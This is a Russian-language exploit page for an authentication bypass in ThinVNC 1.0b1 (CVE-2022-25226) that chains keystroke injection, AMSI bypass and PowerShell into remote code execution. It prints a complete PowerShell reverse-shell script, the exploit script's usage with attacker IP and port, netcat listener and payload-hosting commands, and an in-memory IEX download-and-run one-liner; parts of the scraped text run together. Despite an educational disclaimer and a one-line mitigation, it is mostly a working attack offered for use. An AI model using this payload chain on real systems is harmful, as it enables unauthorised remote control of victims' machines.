
ThinVNC 1.0b1 - Authentication Bypass to RCE
Автор: krill-x7
Ссылка: https://fluidattacks.com/advisories/sinatra
ThinVNC 1.0b1 содержит уязвимость обхода аутентификации (CVE-2022-25226), позволяющую удаленным злоумышленникам взаимодействовать с серверной частью без аутентификации. Используя открытые конечные точки /cmd, злоумышленники могут имитировать нажатия клавиш, открывать PowerShell, обходить AMSI и выполнять произвольные команды, что в конечном итоге приводит к удаленному выполнению кода (RCE).
Этот скрипт объединяет эти примитивы для получения обратной оболочки на целевой системе.
Этот код предоставлен только в образовательных целях.
Используйте его только на системах, которыми вы владеете или на тестирование которых у вас есть явное разрешение.
rev.ps1, размещенный на вашей атакующей машинеpython3 thinvnc_rce.py -t <TARGET_IP> -tp <TARGET_PORT> -a <ATTACKER_IP> -ap <ATTACKER_PORT>
python3 thinvnc_rce.py -t 192.168.1.100 -tp 8080 -a 192.168.1.200 -ap 8000
rev.ps1Сохраните это в файл с именем rev.ps1.
Важно: Замените 192.168.1.200 и 8000 на IP-адрес вашего атакующего и порт прослушивания.
$client = New-Object System.Net.Sockets.TCPClient("192.168.1.200",8000);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
}
$client.Close()
rev.ps1Из той же директории:
python3 -m http.server 8000
nc -lvnp 8000
/cmd?cmd=connect./cmd?cmd=start.Ctrl+Esc для открытия меню «Пуск».Это полезная нагрузка, которая выполняется в памяти:
IEX((New-Object System.Net.WebClient).DownloadString('http://<ATTACKER_IP>:<PORT>/rev.ps1'))
Замените <ATTACKER_IP> и <PORT> на ваш фактический IP-адрес и порт.
/cmd с помощью конфигурации веб-сервера или WAF.